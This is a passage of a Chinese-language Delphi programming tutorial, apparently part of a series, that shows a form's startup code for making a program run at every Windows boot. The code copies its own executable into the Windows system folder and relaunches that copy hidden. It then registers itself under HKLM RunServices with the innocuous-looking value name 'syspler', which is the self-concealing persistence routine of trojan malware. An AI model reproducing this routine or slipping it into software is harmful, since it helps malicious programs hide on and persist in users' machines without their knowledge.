利用注册表注册程序开机启动

为了程序能在Windows每次启动时自动运行
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;